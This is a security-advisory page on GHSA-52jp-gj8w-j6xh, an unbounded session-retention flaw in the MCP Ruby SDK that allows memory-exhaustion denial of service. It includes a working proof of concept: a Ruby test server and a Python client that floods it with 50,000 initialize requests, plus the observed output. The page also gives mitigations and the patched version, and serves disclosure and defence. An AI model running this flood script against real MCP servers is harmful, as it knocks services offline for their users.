NIST deprecates RSA-2048 from 2030. Find every one of them before attackers do.
💎
💎 RubyGems
Not in CISA KEV
MEDIUM severity

MCP Ruby SDK: Unbounded session retention in StreamableHTTPTransport allows memory exhaustion via initialize floodGHSA-52jp-gj8w-j6xh

MEDIUMFix: modelcontextprotocol/ruby-sdk@afb968c

GHSA-52jp-gj8w-j6xh is a medium-severity (CVSS 5.3) CWE-401 vulnerability in mcp. A fix is available for mcp — see the affected versions and patch details below.

Also known asCVE-2026-67430
Published
Updated
Affected
1 pkg
Patched
1 / 1
Exploits
None indexed
Exploitation data as of Oct 30, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

Proof-of-concept exploit code exists

  • CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
  • CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.

Exploitation and automatability from CISA’s SSVC triage for GHSA-52jp-gj8w-j6xh.

EPSS Exploitation Probability

via FIRST.org ↗
0.4%probability of exploitation in next 30 days
Lower Risk+0.06%
Lower risk than most CVEs31th percentile — riskier than 31% of all scored CVEsHighest risk
0.00%0.29%0.58%0.87%0.3%0.3%0.4%Aug 26Sep 26Oct 26

Probability of exploitation in the next 30 days, from FIRST.org EPSS.

How urgent is this, really

Where this sits among everything scored

Real-World Exposure

1 pkg affected
💎mcp

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects RubyGems packages — download data is not available via public APIs for these ecosystems.

Description

Summary

In its default configuration, MCP::Server::Transports::StreamableHTTPTransport never expires sessions. Every successful initialize request stores a new ServerSession and a session record under a fresh UUID, and the only path that removes them is an explicit client-issued HTTP DELETE. An unauthenticated attacker can repeatedly initialize new sessions and immediately disconnect, forcing the server to retain an unbounded number of ServerSession objects until memory is exhausted.

Affected component

lib/mcp/server/transports/streamable_http_transport.rb:

  • Line 27, constructor: def initialize(server, stateless: false, enable_json_response: false, session_idle_timeout: nil) — the default for session_idle_timeout is nil.
  • Line 46: start_reaper_thread if @session_idle_timeout — when the timeout is nil, the reaper that prunes idle sessions is never started.
  • Lines 604–643 (handle_initialization): every successful initialize inserts a new session record; the only removal sites are handle_delete (client-controlled) and stream-error paths.

The project README acknowledges the insecure default (line 1605):

By default, sessions do not expire. To mitigate session hijacking risks, you can set a session_idle_timeout (in seconds).

Per-session memory cost is non-trivial: each entry contains a ServerSession instance (with its own Mutex, @in_flight hash, capabilities hash, and server reference), a top-level hash entry under the session UUID, and per-pending-request Queue allocations.

Proof of concept

Server (session_poc_server.rb)

Starts the transport in its default configuration (no session_idle_timeout) and reports the in-memory session count plus process RSS every two seconds.

require "bundler/setup"
require "mcp"
require "mcp/server/transports/streamable_http_transport"
require "rackup"
require "webrick"
require "rackup/handler/webrick"

server = MCP::Server.new(name: "session-poc-target", tools: [])
transport = MCP::Server::Transports::StreamableHTTPTransport.new(server)

Thread.new do
  loop do
    sessions = transport.instance_variable_get(:@sessions)
    count = sessions ? sessions.size : 0
    rss_mb = `ps -o rss= -p #{Process.pid}`.to_i / 1024
    STDERR.puts("[mem] sessions=#{count}  RSS=#{rss_mb} MB")
    sleep 2
  end
end

STDERR.puts("[poc] listening on http://127.0.0.1:9295/")
Rackup::Handler::WEBrick.run(
  transport,
  Host: "127.0.0.1", Port: 9295,
  AccessLog: [], Logger: WEBrick::Log.new(File::NULL),
)

Client (session_poc_client.py)

import concurrent.futures, json, socket, time

HOST, PORT = "127.0.0.1", 9295
TOTAL, WORKERS = 50_000, 32

INIT = json.dumps({
    "jsonrpc": "2.0", "id": 1, "method": "initialize",
    "params": {"protocolVersion": "2025-11-25", "capabilities": {},
               "clientInfo": {"name": "flooder", "version": "1.0"}}
}).encode()

REQ = (
    f"POST / HTTP/1.1\r\nHost: {HOST}:{PORT}\r\n"
    f"Content-Type: application/json\r\n"
    f"Accept: application/json, text/event-stream\r\n"
    f"Content-Length: {len(INIT)}\r\nConnection: close\r\n\r\n"
).encode() + INIT

def one():
    try:
        s = socket.create_connection((HOST, PORT), timeout=5)
        s.sendall(REQ)
        data = b""
        while True:
            c = s.recv(8192)
            if not c: break
            data += c
        s.close()
        return b"mcp-session-id" in data.lower()
    except OSError:
        return False

start = time.time()
created = 0
with concurrent.futures.ThreadPoolExecutor(max_workers=WORKERS) as ex:
    futs = [ex.submit(one) for _ in range(TOTAL)]
    for i, f in enumerate(concurrent.futures.as_completed(futs), 1):
        if f.result():
            created += 1
        if i % 1000 == 0:
            print(f"[poc] dispatched {i} reqs, {created} sessions confirmed, "
                  f"elapsed {time.time() - start:.1f}s")

print(f"[poc] done. {created}/{TOTAL} sessions confirmed in "
      f"{time.time() - start:.1f}s")

Reproduction commands

bundle install
ruby session_poc_server.rb          # terminal A
python3 session_poc_client.py       # terminal B

Observed result

Tested on macOS, Ruby 3.2.4, against the SDK's main branch.

Server terminal:

[mem] sessions=0      RSS=45  MB
[mem] sessions=2605   RSS=56  MB
[mem] sessions=11587  RSS=72  MB
[mem] sessions=23119  RSS=85  MB
[mem] sessions=34391  RSS=119 MB
[mem] sessions=45325  RSS=128 MB
[mem] sessions=50000  RSS=154 MB
[mem] sessions=50000  RSS=152 MB
[mem] sessions=50000  RSS=152 MB
[mem] sessions=50000  RSS=152 MB     # plateau persists indefinitely

Client terminal:

[poc] dispatched 50000 reqs, 50000 sessions confirmed, elapsed 26.6s
[poc] done. 50000/50000 sessions confirmed in 26.6s

50,000 unique sessions are created and retained in 26.6 seconds from a single client. The session count remains pinned at 50,000 indefinitely, confirming that no reaper exists to free the records. Scaling the attack linearly (multiple clients, larger client-capability payloads, longer runtime) drives RSS until the worker is OOM-killed.

<img width="3544" height="1674" alt="image" src="https://github.com/user-attachments/assets/89ac35ab-5629-4b48-83f8-e26a92b3e45c" />

Impact

  • Attacker requirements: unauthenticated TCP reach of the MCP endpoint. No session, no credentials.
  • Effect: memory-exhaustion denial of service. A sustained or distributed attacker can OOM the worker; on services that recycle workers, the attacker simply repeats. On multi-tenant gateways, one tenant can starve all others.
  • Affected deployments: every deployment that does not opt into session_idle_timeout. Because the README presents this as an opt-in mitigation rather than a default, real-world deployments are likely to ship vulnerable.

Suggested mitigation

  1. Change the default of session_idle_timeout to a finite value (e.g. 30 minutes) and document the change as a security default.
  2. Add a max_sessions: constructor option; reject initialize with HTTP 503 once the cap is reached.
  3. Track the time of the initialize POST separately from later request activity, and evict sessions whose GET SSE stream is never attached within N seconds.

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
💎RubyGemsmcpall versions0.23.0bundle update mcp --conservative

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for mcp, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

  2. Fix

    Update mcp to 0.23.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-52jp-gj8w-j6xh is resolved across your whole dependency graph.

  3. Workarounds

    Cap what an attacker can consume: apply request size, rate and timeout limits in front of the affected component, and run it with memory and CPU limits so exhaustion degrades one worker rather than the whole service.

Frequently Asked Questions

## Summary In its default configuration, `MCP::Server::Transports::StreamableHTTPTransport` never expires sessions. Every successful `initialize` request stores a new `ServerSession` and a session record under a fresh UUID, and the only path that removes them is an explicit client-issued HTTP `DELETE`. An unauthenticated attacker can repeatedly initialize new sessions and immediately disconnect, forcing the server to retain an unbounded number of `ServerSession` objects until memory is exhausted. ## Affected component `lib/mcp/server/transports/streamable_http_transport.rb`: - Line 27, con
O3 Security · Impact-Aware SCA

Is GHSA-52jp-gj8w-j6xh in your dependencies?

Find it across RubyGems, including transitive dependencies.

MCP Ruby SDK: Unbounded session retention in…